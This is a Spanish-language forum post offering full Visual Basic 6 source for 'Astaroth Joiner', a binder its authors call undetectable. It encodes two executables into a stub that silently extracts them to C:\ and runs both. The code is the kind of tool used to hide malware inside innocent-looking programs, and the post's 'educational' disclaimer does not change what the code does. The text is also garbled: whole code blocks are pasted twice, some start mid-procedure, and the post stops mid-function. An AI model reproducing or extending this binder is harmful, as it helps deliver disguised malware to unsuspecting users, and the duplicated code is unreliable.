Es para fines educativos, para que la gente aprenda lo facil que es hacer su propio blinder indetectable, me e esforzado en comentar linea por linea el codigo para que se entienda mejor.
Comenzemos.....
EDITOR
Necesitamos 4 botones y 2 textbox.
Código:
Private Sub Form_Load()
If Archivo(App.Path & "\Juntat.exe") = False Then 'Si el archivo juntat no existe cerramos el programa
MsgBox "No se ha encontrado el archivo Juntat en el directorio de el programa.", vbExclamation + vbOKOnly, "Astaroth Joiner"
End 'Cerramos este programa
End If
End Sub
Function Archivo(Ruta As String) As Boolean 'Esta funcion comprueba si existe un archivo
On Error GoTo error
GetAttr (Ruta)
Archivo = True
Exit Function
error:
Archivo = False
End Function
Private Sub XPButton1_Click() 'Cargamos el primer programa
On Error Resume Next
CommonDialog1.CancelError = True
CommonDialog1.Filter = "Todos los archivos (*.*)|*.*" 'Cualquier archivo es valido
CommonDialog1.ShowOpen 'Mostramos la ventana para eegir el archivo
If Err Then
Else
Text1.Text = CommonDialog1.FileName 'Si se elige un archivo ponemos su ruta en el text1
End If
End Sub
Private Sub XPButton2_Click() 'Cargamos el segundo programa
On Error Resume Next
CommonDialog1.CancelError = True
CommonDialog1.Filter = "Todos los archivos (*.*)|*.*"
CommonDialog1.ShowOpen
If Err Then
Else
Text2.Text = CommonDialog1.FileName
End If
End Sub
Private Sub XPButton3_Click()
On Error Resume Next
Dim Ruta As String 'guardaremos la ruta de el archivo final
Dim Ap1 As String, Ap2 As String 'Los 2 archivos cifrados
Dim A As String * 9 'Tamaño de el primer archivo cifrado (maximo 9 caracteres)
Dim B As String * 9 'Tamaño de el segundo archivo cifrado (maximo 9 caracteres)
Dim Ext1 As String * 4 'Extension de el primer archivo (maximo 4 caracteres)
Dim Ext2 As String * 4 'Extension de el segundo archivo (maximo 4 caracteres)
If Text1.Text = "" Or Text2.Text = "" Then 'Si No se ha selecionado algun archivo salimos no continuamos
MsgBox "Tiene que selecionar los dos archivos a juntar.", vbExclamation + vbOKOnly, "Astaroth Joiner"
Exit Sub 'Salimos
End If
CommonDialog1.CancelError = True
CommonDialog1.Filter = "Aplicacion|*.exe" 'Filtramos para que solo se vean las aplicaciones
CommonDialog1.ShowSave 'Mostramos la ventana de guardar
If Err Then
Exit Sub
Else
Ruta = CommonDialog1.FileName ' Si se seleciona el archivo a guardar ponemos la ruta en la variable
End If
On Error GoTo Fallo ' SI se produce un error nos vamos a el final
Open Text1.Text For Binary As #1 'Abrimos el archivo 1
Ap1 = Space(LOF(1)) 'Creamos un bufer de el tamaño de el archivo
Get #1, , Ap1 'Cargamos su contenido
Close #1 'Cerramos el primer archivo
Open Text2.Text For Binary As #1 'Abrimos el archivo 2
Ap2 = Space(LOF(1)) 'Creamos un bufer de el tamaño de el archivo
Get #1, , Ap2 'Cargamos su contenido
Close #1 'Cerramos el segundo archivo
Ap1 = HuffmanEncode(Ap1, True) 'ciframos el primer programa
A = Len(Ap1) 'Ponemos en la variable el tamaño de el primer archivo despues de encriptarle
Ap2 = HuffmanEncode(Ap2, True) 'ciframos el segundo programa
B = Len(Ap2) 'Ponemos en la variable el tamaño de el segundo archivo despues de encriptarle
Ext1 = Right(Text1.Text, 3) 'guardamos en la variable la extension inicial de el primer archivo
Ext2 = Right(Text2.Text, 3) 'guardamos en la variable la extension inicial de el segundo archivo
FileCopy App.Path & "\Juntat.exe", Ruta 'Copiamos el archivo juntat a la ruta donde vamos a guardar el archivo final
Open Ruta For Binary As #1 'Abrimos el archivo que hemos copiado
Seek (1), LOF(1) + 1 'Vamos a el final de el archivo y dejamos un espacio en blanco
Put #1, , Ap1 'ponemos el archivo primero cifrada
Put #1, , Ap2 'ponemos el archivo segundo cifrada
Put #1, , A 'ponemos el tamaño de el archivo 1 una vez cifrada
Put #1, , B 'ponemos el tamaño de el archivo 2 una vez cifrada
Put #1, , Ext1 'ponemos la extension de el primer archivo
Put #1, , Ext2 'ponemos la extension de el segundo archivo
Close #1 'Cerramos el archivo que hemos copiado
MsgBox "Archivos juntados correctamente.", vbInformation, "Astaroth Joiner" 'Mostramos el mensaje de que se creo correctamente
Exit Sub 'Ya hemos acabado, Salimos
Fallo: 'Si ocurrio un error venimos AQUI
MsgBox "Ocurrio un error al juntar los archivos.", vbCritical, "Astaroth Joiner"
End Sub
Private Sub XPButton4_Click()
MsgBox "Astaroth Joiner v1.0" & vbNewLine & "Este programa a sido creado por K1Z4R y Hendrix." & vbNewLine & "Nosotros no nos hacemos responsables del uso que hagas de el ya que tienes fines educativos." & vbNewLine & "Para el foro elhacker.net" & vbNewLine & "Salu2 K1Z4R", vbInformation + vbOKOnly, "Astaroth Joiner"
'Mostramos el mensaje de los autores.
End Sub
If Archivo(App.Path & "\Juntat.exe") = False Then 'Si el archivo juntat no existe cerramos el programa
MsgBox "No se ha encontrado el archivo Juntat en el directorio de el programa.", vbExclamation + vbOKOnly, "Astaroth Joiner"
End 'Cerramos este programa
End If
End Sub
Function Archivo(Ruta As String) As Boolean 'Esta funcion comprueba si existe un archivo
On Error GoTo error
GetAttr (Ruta)
Archivo = True
Exit Function
error:
Archivo = False
End Function
Private Sub XPButton1_Click() 'Cargamos el primer programa
On Error Resume Next
CommonDialog1.CancelError = True
CommonDialog1.Filter = "Todos los archivos (*.*)|*.*" 'Cualquier archivo es valido
CommonDialog1.ShowOpen 'Mostramos la ventana para eegir el archivo
If Err Then
Else
Text1.Text = CommonDialog1.FileName 'Si se elige un archivo ponemos su ruta en el text1
End If
End Sub
Private Sub XPButton2_Click() 'Cargamos el segundo programa
On Error Resume Next
CommonDialog1.CancelError = True
CommonDialog1.Filter = "Todos los archivos (*.*)|*.*"
CommonDialog1.ShowOpen
If Err Then
Else
Text2.Text = CommonDialog1.FileName
End If
End Sub
Private Sub XPButton3_Click()
On Error Resume Next
Dim Ruta As String 'guardaremos la ruta de el archivo final
Dim Ap1 As String, Ap2 As String 'Los 2 archivos cifrados
Dim A As String * 9 'Tamaño de el primer archivo cifrado (maximo 9 caracteres)
Dim B As String * 9 'Tamaño de el segundo archivo cifrado (maximo 9 caracteres)
Dim Ext1 As String * 4 'Extension de el primer archivo (maximo 4 caracteres)
Dim Ext2 As String * 4 'Extension de el segundo archivo (maximo 4 caracteres)
If Text1.Text = "" Or Text2.Text = "" Then 'Si No se ha selecionado algun archivo salimos no continuamos
MsgBox "Tiene que selecionar los dos archivos a juntar.", vbExclamation + vbOKOnly, "Astaroth Joiner"
Exit Sub 'Salimos
End If
CommonDialog1.CancelError = True
CommonDialog1.Filter = "Aplicacion|*.exe" 'Filtramos para que solo se vean las aplicaciones
CommonDialog1.ShowSave 'Mostramos la ventana de guardar
If Err Then
Exit Sub
Else
Ruta = CommonDialog1.FileName ' Si se seleciona el archivo a guardar ponemos la ruta en la variable
End If
On Error GoTo Fallo ' SI se produce un error nos vamos a el final
Open Text1.Text For Binary As #1 'Abrimos el archivo 1
Ap1 = Space(LOF(1)) 'Creamos un bufer de el tamaño de el archivo
Get #1, , Ap1 'Cargamos su contenido
Close #1 'Cerramos el primer archivo
Open Text2.Text For Binary As #1 'Abrimos el archivo 2
Ap2 = Space(LOF(1)) 'Creamos un bufer de el tamaño de el archivo
Get #1, , Ap2 'Cargamos su contenido
Close #1 'Cerramos el segundo archivo
Ap1 = HuffmanEncode(Ap1, True) 'ciframos el primer programa
A = Len(Ap1) 'Ponemos en la variable el tamaño de el primer archivo despues de encriptarle
Ap2 = HuffmanEncode(Ap2, True) 'ciframos el segundo programa
B = Len(Ap2) 'Ponemos en la variable el tamaño de el segundo archivo despues de encriptarle
Ext1 = Right(Text1.Text, 3) 'guardamos en la variable la extension inicial de el primer archivo
Ext2 = Right(Text2.Text, 3) 'guardamos en la variable la extension inicial de el segundo archivo
FileCopy App.Path & "\Juntat.exe", Ruta 'Copiamos el archivo juntat a la ruta donde vamos a guardar el archivo final
Open Ruta For Binary As #1 'Abrimos el archivo que hemos copiado
Seek (1), LOF(1) + 1 'Vamos a el final de el archivo y dejamos un espacio en blanco
Put #1, , Ap1 'ponemos el archivo primero cifrada
Put #1, , Ap2 'ponemos el archivo segundo cifrada
Put #1, , A 'ponemos el tamaño de el archivo 1 una vez cifrada
Put #1, , B 'ponemos el tamaño de el archivo 2 una vez cifrada
Put #1, , Ext1 'ponemos la extension de el primer archivo
Put #1, , Ext2 'ponemos la extension de el segundo archivo
Close #1 'Cerramos el archivo que hemos copiado
MsgBox "Archivos juntados correctamente.", vbInformation, "Astaroth Joiner" 'Mostramos el mensaje de que se creo correctamente
Exit Sub 'Ya hemos acabado, Salimos
Fallo: 'Si ocurrio un error venimos AQUI
MsgBox "Ocurrio un error al juntar los archivos.", vbCritical, "Astaroth Joiner"
End Sub
Private Sub XPButton4_Click()
MsgBox "Astaroth Joiner v1.0" & vbNewLine & "Este programa a sido creado por K1Z4R y Hendrix." & vbNewLine & "Nosotros no nos hacemos responsables del uso que hagas de el ya que tienes fines educativos." & vbNewLine & "Para el foro elhacker.net" & vbNewLine & "Salu2 K1Z4R", vbInformation + vbOKOnly, "Astaroth Joiner"
'Mostramos el mensaje de los autores.
End Sub
JUNTAT
Código:
Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'Api que permite ejecutar cada archivo con su aplicacion predeterminada
Private Sub Form_Load() 'Al cargar el archivo
On Error Resume Next 'Si hay errores seguimos
Dim A As String * 9 'bufer tamaño 1
Dim B As String * 9 'bufer tamaño 2
Dim A2 As Long 'tamaño 1
Dim B2 As Long 'tamaño 2
Dim Ext1 As String * 4 'bufer extension 1
Dim Ext2 As String * 4 'bufer extension 2
Dim Ext1d As String 'extension 1
Dim Ext2d As String 'extension 2
Dim Ap1 As String 'archivo 1
Dim Ap2 As String 'archivo 2
Dim Ap1d As String 'archivo 1 cifrado
Dim Ap2d As String 'archivo 2 cifrado
Dim Ruta As String 'Ruta de esta aplicacion
Ruta = App.Path & "\" & App.EXEName & ".exe" 'Ruta de esta aplicacion que estamos ejecutando
Open Ruta For Binary As #1 'Abrimos esta aplicacion que estamos ejecutando
Seek (1), LOF(1) - 25 'Vamos 25 lugares antes de el final de el archivo, para leer los datos que guardamos de el tamaño y las extensiones de los archivos.
Get #1, , A 'Cogemos el tamaño del archivo 1
Get #1, , B 'Cogemos el tamaño del archivo 2
Get #1, , Ext1 'Cogemos la extension del archivo 1
Get #1, , Ext2 'Cogemos la extension del archivo 2
Close #1
Ext1d = Trim(Ext1) 'Quitamos los espacios en blanco de la primera extension
Ext2d = Trim(Ext2) 'Quitamos los espacios en blanco de la segunda extension
A2 = Trim(A) 'Quitamos los espacios en blanco de el tamaño de el primero
B2 = Trim(B) 'Quitamos los espacios en blanco de el tamaño de el segundo
Ap1 = Space(A) 'Creamos un bufer con el tamaño de el primer archivo
Ap2 = Space(B) 'Creamos un bufer con el tamaño de el segundo archivo
Open Ruta For Binary As #1 'Volvemos a abrir la aplicacion k emos ejecutado
Seek (1), LOF(1) - (A2 + B2 + 25) 'Vamos el tamaño de el primer y el segundo archivo masel tamaño de las variables antes de el final de el archivo
Get #1, , Ap1 'Cogemos el primer archivo
Get #1, , Ap2 'Cogemos el segundo archivo
Close #1 'Cerramos el archivo
Ap1d = HuffmanDecode(Ap1) 'desciframos El primer archivo
Ap2d = HuffmanDecode(Ap2) 'desciframos El segundo archivo
Open "C:\uno" & "." & Ext1 For Binary As #1 'Abrimos el primer archivo en C:\uno
Put #1, , Ap1d 'ponemos el primer archivo
Close #1 'cerramos
Open "C:\dos" & "." & Ext2 For Binary As #1 'Abrimos el segundo archivo en C:\dos
Put #1, , Ap2d 'Ponemos el segundo archivo
Close #1 'cerramos
ShellExecuteA Me.hWnd, "Open", "C:\uno." & Ext1, vbNullString, vbNullString, 1
'Ejecutamos el primer archivo
ShellExecuteA Me.hWnd, "Open", "C:\dos." & Ext2, vbNullString, vbNullString, 1
'Ejecutamos el segundo archivo
End 'Salimos de el programa
End Sub
'Api que permite ejecutar cada archivo con su aplicacion predeterminada
Private Sub Form_Load() 'Al cargar el archivo
On Error Resume Next 'Si hay errores seguimos
Dim A As String * 9 'bufer tamaño 1
Dim B As String * 9 'bufer tamaño 2
Dim A2 As Long 'tamaño 1
Dim B2 As Long 'tamaño 2
Dim Ext1 As String * 4 'bufer extension 1
Dim Ext2 As String * 4 'bufer extension 2
Dim Ext1d As String 'extension 1
Dim Ext2d As String 'extension 2
Dim Ap1 As String 'archivo 1
Dim Ap2 As String 'archivo 2
Dim Ap1d As String 'archivo 1 cifrado
Dim Ap2d As String 'archivo 2 cifrado
Dim Ruta As String 'Ruta de esta aplicacion
Ruta = App.Path & "\" & App.EXEName & ".exe" 'Ruta de esta aplicacion que estamos ejecutando
Open Ruta For Binary As #1 'Abrimos esta aplicacion que estamos ejecutando
Seek (1), LOF(1) - 25 'Vamos 25 lugares antes de el final de el archivo, para leer los datos que guardamos de el tamaño y las extensiones de los archivos.
Get #1, , A 'Cogemos el tamaño del archivo 1
Get #1, , B 'Cogemos el tamaño del archivo 2
Get #1, , Ext1 'Cogemos la extension del archivo 1
Get #1, , Ext2 'Cogemos la extension del archivo 2
Close #1
Ext1d = Trim(Ext1) 'Quitamos los espacios en blanco de la primera extension
Ext2d = Trim(Ext2) 'Quitamos los espacios en blanco de la segunda extension
A2 = Trim(A) 'Quitamos los espacios en blanco de el tamaño de el primero
B2 = Trim(B) 'Quitamos los espacios en blanco de el tamaño de el segundo
Ap1 = Space(A) 'Creamos un bufer con el tamaño de el primer archivo
Ap2 = Space(B) 'Creamos un bufer con el tamaño de el segundo archivo
Open Ruta For Binary As #1 'Volvemos a abrir la aplicacion k emos ejecutado
Seek (1), LOF(1) - (A2 + B2 + 25) 'Vamos el tamaño de el primer y el segundo archivo masel tamaño de las variables antes de el final de el archivo
Get #1, , Ap1 'Cogemos el primer archivo
Get #1, , Ap2 'Cogemos el segundo archivo
Close #1 'Cerramos el archivo
Ap1d = HuffmanDecode(Ap1) 'desciframos El primer archivo
Ap2d = HuffmanDecode(Ap2) 'desciframos El segundo archivo
Open "C:\uno" & "." & Ext1 For Binary As #1 'Abrimos el primer archivo en C:\uno
Put #1, , Ap1d 'ponemos el primer archivo
Close #1 'cerramos
Open "C:\dos" & "." & Ext2 For Binary As #1 'Abrimos el segundo archivo en C:\dos
Put #1, , Ap2d 'Ponemos el segundo archivo
Close #1 'cerramos
ShellExecuteA Me.hWnd, "Open", "C:\uno." & Ext1, vbNullString, vbNullString, 1
'Ejecutamos el primer archivo
ShellExecuteA Me.hWnd, "Open", "C:\dos." & Ext2, vbNullString, vbNullString, 1
'Ejecutamos el segundo archivo
End 'Salimos de el programa
End Sub
MODULO PARA cifrar
Este code no es mio, le saque de PSC.
Citar
Private Enum HuffmanTreeNodeParts
htnWeight = 1
htnIsLeaf = 2
htnAsciiCode = 3
htnBitCode = 4
htnLeftSubtree = 5
htnRightSubtree = 6
End Enum
'Compress the text.
Public Function HuffmanEncode(Text As String, Optional Force As Boolean) As String
Dim TextLen As Long, Char As Byte, i As Long, j As Long
Dim CodeCounts(255) As Long, BitStrings(255), BitString
Dim HuffmanTrees As Collection
Dim HTRootNode As Collection, HTNode As Collection
Dim NextByte As Byte, BitPos As Integer, Temp As String
'Initialize for processing.
TextLen = Len(Text)
Set HuffmanTrees = New Collection
'Is there anything to encode?
If TextLen = 0 Then
HuffmanEncode = "HE0" & vbCr 'Version 0 = Plain text
Exit Function 'No point in continuing
End If
HuffmanEncode = "HE2" & vbCr 'Version 1
'Count how many times each ASCII code is encountered in text.
For i = 1 To TextLen
Char = Asc(Mid(Text, i, 1))
CodeCounts(Char) = CodeCounts(Char) + 1
Next
'Initialize the forest of Huffman trees; one for each ASCII
'character used.
For i = 0 To UBound(CodeCounts)
If CodeCounts(i) > 0 Then
Set HTNode = NewNode
S HTNode, htnAsciiCode, Chr(i)
S HTNode, htnWeight, CDbl(CodeCounts(i) / TextLen)
S HTNode, htnIsLeaf, True
'Now place it in its reverse-ordered position.
For j = 1 To HuffmanTrees.Count + 1
If j > HuffmanTrees.Count Then
HuffmanTrees.Add HTNode
Exit For
End If
If HTNode(htnWeight) >= HuffmanTrees(j)(htnWeight) Then
HuffmanTrees.Add HTNode, , j
Exit For
End If
Next
End If
Next
'Now assemble all these single-level Huffman trees into
'one single tree, where all the leaves have the ASCII codes
'associated with them.
If HuffmanTrees.Count = 1 Then
Set HTNode = NewNode
S HTNode, htnLeftSubtree, HuffmanTrees(1)
S HTNode, htnWeight, 1
HuffmanTrees.Remove (1)
HuffmanTrees.Add HTNode
End If
While HuffmanTrees.Count > 1
Set HTNode = NewNode
S HTNode, htnRightSubtree, HuffmanTrees(HuffmanTrees.Count)
HuffmanTrees.Remove HuffmanTrees.Count
S HTNode, htnLeftSubtree, HuffmanTrees(HuffmanTrees.Count)
HuffmanTrees.Remove HuffmanTrees.Count
S HTNode, htnWeight, HTNode(htnLeftSubtree)(htnWeight) + HTNode(htnRightSubtree)(htnWeight)
'Place this new tree it in its reverse-ordered position.
For j = 1 To HuffmanTrees.Count + 1
If j > HuffmanTrees.Count Then
HuffmanTrees.Add HTNode
Exit For
End If
If HTNode(htnWeight) >= HuffmanTrees(j)(htnWeight) Then
HuffmanTrees.Add HTNode, , j
Exit For
End If
Next
Wend
Set HTRootNode = HuffmanTrees(1)
AttachBitCodes BitStrings, HTRootNode, Array()
For i = 0 To UBound(BitStrings)
If Not IsEmpty(BitStrings(i)) Then
Set HTNode = BitStrings(i)
Temp = Temp & HTNode(htnAsciiCode) _
& BitsToString(HTNode(htnBitCode))
End If
Next
HuffmanEncode = HuffmanEncode & Len(Temp) & vbCr & Temp
'The next part of the header is a checksum value, which
'we'll use later to verify our decompression.
Char = 0
For i = 1 To TextLen
Char = Char Xor Asc(Mid(Text, i, 1))
Next
HuffmanEncode = HuffmanEncode & Chr(Char)
'The final part of the header identifies how many bytes
'the original text strings contains. We will probably
'have a few unused bits in the last byte that we need to
'account for. Additionally, this serves as a final check
'for corruption.
HuffmanEncode = HuffmanEncode & TextLen & vbCr
'Now we can encode the data by exchanging each ASCII byte for
'its appropriate bit string.
BitPos = -1
Char = 0
Temp = ""
For i = 1 To TextLen
BitString = BitStrings(Asc(Mid(Text, i, 1)))(htnBitCode)
'Add each bit to the end of the output stream's 1-byte buffer.
For j = 0 To UBound(BitString)
BitPos = BitPos + 1
If BitString(j) = 1 Then
Char = Char + 2 ^ BitPos
End If
'If the bit buffer is full, dump it to the output stream.
If BitPos >= 7 Then
Temp = Temp & Chr(Char)
'If the temporary output buffer is full, dump it
'to the final output stream.
If Len(Temp) > 1024 Then
HuffmanEncode = HuffmanEncode & Temp
Temp = ""
End If
BitPos = -1
Char = 0
End If
Next
Next
If BitPos > -1 Then
Temp = Temp & Chr(Char)
End If
If Len(Temp) > 0 Then
HuffmanEncode = HuffmanEncode & Temp
End If
'If it takes up more space compressed because the source is
'small and the header is big, we'll leave it uncompressed
'and prepend it with a 4 byte header.
If Len(HuffmanEncode) > TextLen And Not Force Then
HuffmanEncode = "HE0" & vbCr & Text
End If
End Function
'Decompress the string back into its original text.
Public Function HuffmanDecode(ByVal Text As String) As String
Dim Pos As Long, Temp As String, Char As Byte, Bits
Dim i As Long, j As Long, CharsFound As Long, BitPos As Integer
Dim CheckSum As Byte, SourceLen As Long, TextLen As Long
Dim HTRootNode As Collection, HTNode As Collection
'If this was left uncompressed, this will be easy.
If Left(Text, 4) = "HE0" & vbCr Then
HuffmanDecode = Mid(Text, 5)
Exit Function
End If
'If this is any version other than 2, we'll bow out.
If Left(Text, 4) <> "HE2" & vbCr Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"The data either was not compressed with HE2 or is corrupt"
End If
Text = Mid(Text, 5)
'Extract the ASCII character bit-code table's byte length.
Pos = InStr(1, Text, vbCr)
If Pos = 0 Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"The data either was not compressed with HE2 or is corrupt"
End If
On Error Resume Next
TextLen = Left(Text, Pos - 1)
If Err.Number <> 0 Then
On Error GoTo 0
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header is corrupt"
End If
On Error GoTo 0
Text = Mid(Text, Pos + 1)
Temp = Left(Text, TextLen)
Text = Mid(Text, TextLen + 1)
'Now extract the ASCII character bit-code table.
Set HTRootNode = NewNode
Pos = 1
While Pos <= Len(Temp)
Char = Asc(Mid(Temp, Pos, 1))
Pos = Pos + 1
Bits = StringToBits(Pos, Temp)
Set HTNode = HTRootNode
For j = 0 To UBound(Bits)
If Bits(j) = 1 Then
If HTNode(htnLeftSubtree) Is Nothing Then
S HTNode, htnLeftSubtree, NewNode
End If
Set HTNode = HTNode(htnLeftSubtree)
Else
If HTNode(htnRightSubtree) Is Nothing Then
S HTNode, htnRightSubtree, NewNode
End If
Set HTNode = HTNode(htnRightSubtree)
End If
Next
S HTNode, htnIsLeaf, True
S HTNode, htnAsciiCode, Chr(Char)
S HTNode, htnBitCode, Bits
Wend
'Extract the checksum.
CheckSum = Asc(Left(Text, 1))
Text = Mid(Text, 2)
'Extract the length of the original string.
Pos = InStr(1, Text, vbCr)
If Pos = 0 Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header is corrupt"
End If
On Error Resume Next
SourceLen = Left(Text, Pos - 1)
If Err.Number <> 0 Then
On Error GoTo 0
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header is corrupt"
End If
On Error GoTo 0
Text = Mid(Text, Pos + 1)
TextLen = Len(Text)
'Now that we've processed the header, let's decode the actual data.
i = 1
BitPos = -1
Set HTNode = HTRootNode
Temp = ""
While CharsFound < SourceLen
If BitPos = -1 Then
If i > TextLen Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Expecting more bytes in data stream"
End If
Char = Asc(Mid(Text, i, 1))
i = i + 1
End If
BitPos = BitPos + 1
If (Char And 2 ^ BitPos) > 0 Then
Set HTNode = HTNode(htnLeftSubtree)
Else
Set HTNode = HTNode(htnRightSubtree)
End If
If HTNode Is Nothing Then
'Uh oh. We've followed the tree to a Huffman tree to a dead
'end, which won't happen unless the data is corrupt.
Err.Raise vbObjectError, "HuffmanDecode()", _
"The header (lookup table) is corrupt"
End If
If HTNode(htnIsLeaf) Then
Temp = Temp & HTNode(htnAsciiCode)
If Len(Temp) > 1024 Then
HuffmanDecode = HuffmanDecode & Temp
Temp = ""
End If
CharsFound = CharsFound + 1
Set HTNode = HTRootNode
End If
If BitPos >= 7 Then BitPos = -1
Wend
If Len(Temp) > 0 Then
HuffmanDecode = HuffmanDecode & Temp
End If
If i <= TextLen Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Found extra bytes at end of data stream"
End If
'Verify data to check for corruption.
If Len(HuffmanDecode) <> SourceLen Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Data corrupt because check sums do not match"
End If
Char = 0
For i = 1 To SourceLen
Char = Char Xor Asc(Mid(HuffmanDecode, i, 1))
Next
If Char <> CheckSum Then
Err.Raise vbObjectError, "HuffmanDecode()", _
"Data corrupt because check sums do not match"
End If
End Function
'----------------------------------------------------------------
' Everything below here is only for supporting the two main
' routines above.
'----------------------------------------------------------------
'Follows the tree, now built, to its end leaf nodes, where the
'character codes are, in order to tell those character codes
'what their bit string representations are.
Private Sub AttachBitCodes(BitStrings, HTNode As Collection, ByVal Bits)
If HTNode Is Nothing Then Exit Sub
If HTNode(htnIsLeaf) Then
S HTNode, htnBitCode, Bits
Set BitStrings(Asc(HTNode(htnAsciiCode))) = HTNode
Else
ReDim Preserve Bits(UBound(Bits) + 1)
Bits(UBound(Bits)) = 1
AttachBitCodes BitStrings, HTNode(htnLeftSubtree), Bits
Bits(UBound(Bits)) = 0
AttachBitCodes BitStrings, HTNode(htnRightSubtree), Bits
End If
End Sub
'Turns a string of '0' and '1' characters into a string of bytes
'containing the bits, preceeded by 1 byte indicating the
'number of bits represented.
Private Function BitsToString(Bits) As String
Dim Char As Byte, i As Long
BitsToString = Chr(UBound(Bits) + 1) 'Number of bits
For i = 0 To UBound(Bits)
If i Mod 8 = 0 Then
If i > 0 Then BitsToString = BitsToString & Chr(Char)
Char = 0
End If
If Bits(i) = 1 Then 'Bit value = 1
'Mask the bit into its proper position in the byte
Char = Char + 2 ^ (i Mod 8)
End If
Next
BitsToString = BitsToString & Chr(Char)
End Function
'The opposite of BitsToString() function.
Private Function StringToBits(StartPos As Long, Bytes As String)
Dim Char As Byte, i As Long, BitCount As Long, Bits
Bits = Array()
BitCount = Asc(Mid(Bytes, StartPos, 1))
StartPos = StartPos + 1
For i = 0 To BitCount - 1
If i Mod 8 = 0 Then
Char = Asc(Mid(Bytes, StartPos, 1))
StartPos = StartPos + 1
End If
ReDim Preserve Bits(UBound(Bits) + 1)
If (Char And 2 ^ (i Mod 8)) > 0 Then 'Bit value = 1
Bits(UBound(Bits)) = 1
Else 'Bit value = 0
Bits(UBound(Bits)) = 0
End If
Next
StringToBits = Bits
End Function
'Remove the specified item and put the specified value in its place.
Private Sub S(Col As Collection, Index As HuffmanTreeNodeParts, Value)
Col.Remove Index
If Index > Col.Count Then
Col.Add Value
Else
Col.Add Value, , Index
End If
End Sub
'Creates a new Huffman tree node with the default values set.
Private Function NewNode() As Collection
Dim Node As New Collection
Node.Add 0 'htnWeight
Node.Add False 'htnIsLeaf
Node.Add Chr(0) 'htnAsciiCode
Node.Add "" 'htnBitCode
Node.Add Nothing 'htnLeftSubtree
Node.Add Nothing 'htnRightSubtree
Set NewNode = Node
End Function
htnWeight = 1
htnIsLeaf = 2
htnAsciiCode = 3
htnBitCode = 4
htnLeftSubtree = 5
htnRightSubtree = 6
End Enum
'Compress the text.
Public Function HuffmanEncode(Text As String, Optional Force As Boolean) As String
Dim TextLen As Long, Char As Byte, i As Long, j As Long
Dim CodeCounts(255) As Long, BitStrings(255), BitString
Dim HuffmanTrees As Collection
Dim HTRootNode As Collection, HTNode As Collection
Dim NextByte As Byte, BitPos As Integer, Temp As String
'Initialize for processing.
TextLen = Len(Text)
Set HuffmanTrees = New Collection
'Is there anything to encode?
If TextLen = 0 Then
HuffmanEncode = "HE0" & vbCr 'Version 0 = Plain text
Exit Function 'No point in continuing
End If
HuffmanEncode = "HE2" & vbCr 'Version 1
'Count how many times each ASCII code is encountered in text.
For i = 1 To TextLen
Char = Asc(Mid(Text, i, 1))
CodeCounts(Char) = CodeCounts(Char) + 1
Next
'Initialize the forest of Huffman trees; one for each ASCII
'character used.
For i = 0 To UBound(CodeCounts)
If CodeCounts(i) > 0 Then
Set HTNode = NewNode
S HTNode, htnAsciiCode, Chr(i)
S HTNode, htnWeight, CDbl(CodeCounts(i) / TextLen)
S HTNode, htnIsLeaf, True
'Now place it in its reverse-ordered position.
For j = 1 To HuffmanTrees.Count + 1
If j > HuffmanTrees.Count Then
HuffmanTrees.Add HTNode
Exit For
End If
If HTNode(htnWeight) >= HuffmanTrees(j)(htnWeight) Then
HuffmanTrees.Add HTNode, , j
Exit For
End If
Next
End If
Next
'Now assemble all these single-level Huffman trees into
'one single tree, where all the leaves have the ASCII codes
'associated with them.
If HuffmanTrees.Count = 1 Then
Set HTNode = NewNode
S HTNode, htnLeftSubtree, HuffmanTrees(1)
S HTNode, htnWeight, 1
HuffmanTrees.Remove (1)
HuffmanTrees.Add HTNode
End If
While HuffmanTrees.Count > 1
Set HTNode = NewNode
S HTNode, htnRightSubtree, HuffmanTrees(HuffmanTrees.Count)
HuffmanTrees.Remove HuffmanTrees.Count
S HTNode, htnLeftSubtree, HuffmanTrees(HuffmanTrees.Count)
HuffmanTrees.Remove HuffmanTrees.Count
S HTNode, htnWeight, HTNode(htnLeftSubtree)(htnWeight) + HTNode(htnRightSubtree)(htnWeight)
'Place this new tree it in its reverse-ordered position.
For j = 1 To HuffmanTrees.Count + 1
If j > HuffmanTrees.Count Then
HuffmanTrees.Add HTNode
Exit For
End If
If HTNode(htnWeight) >= HuffmanTrees(j)(htnWeight) Then
HuffmanTrees.Add HTNode, , j
Exit For
End If
Next
Wend
Set HTRootNode = HuffmanTrees(1)
AttachBitCodes BitStrings, HTRootNode, Array()
For i = 0 To UBound(BitStrings)
If Not IsEmpty(BitStrings(i)) Then
Set HTNode = BitStrings(i)
Temp = Temp & HTNode(htnAsciiCode) _
& BitsToString(HTNode(htnBitCode))
End If
Next
HuffmanEncode = HuffmanEncode & Len(Temp) & vbCr & Temp
'The next part of the header is a checksum value, which
'we'll use later to verify our decompression.
Char = 0
For i = 1 To TextLen
Char = Char Xor Asc(Mid(Text, i, 1))
Next
HuffmanEncode = HuffmanEncode & Chr(Char)
'The final part of the header identifies how many bytes
'the original text strings contains. We will probably
'have a few unused bits in the last byte that we need to
'account for. Additionally, this serves as a final check
'for corruption.
HuffmanEncode = HuffmanEncode & TextLen & vbCr
'Now we can encode the data by exchanging each ASCII byte for
'its appropriate bit string.
BitPos = -1
Char = 0
Temp = ""
For i = 1 To TextLen
BitString = BitStrings(Asc(Mid(Text, i, 1)))(htnBitCode)
'Add each bit to the end of the output stream's 1-byte buffer.
For j = 0 To UBound(BitString)
BitPos = BitPos + 1
If BitString(j) = 1 Then
Char = Char + 2 ^ BitPos
End If
'If the bit buffer is full, dump it to the output stream.
If BitPos >= 7 Then
Temp = Temp & Chr(Char)
'If the temporary output buffer is full, dump it
'to the final output stream.
If Len(Temp) > 1024 Then
HuffmanEncode = HuffmanEncode & Temp
Temp = ""
End If
BitPos = -1
Char = 0
End If
Next
Next
If BitPos > -1 Then
Temp = Temp & Chr(Char)
End If
If Len(Temp) > 0 Then
HuffmanEncode = HuffmanEncode & Temp
End If
'If it takes up more space compressed because the source is
'small and the header is big, we'll leave it uncompressed
'and prepend it with a 4 byte header.
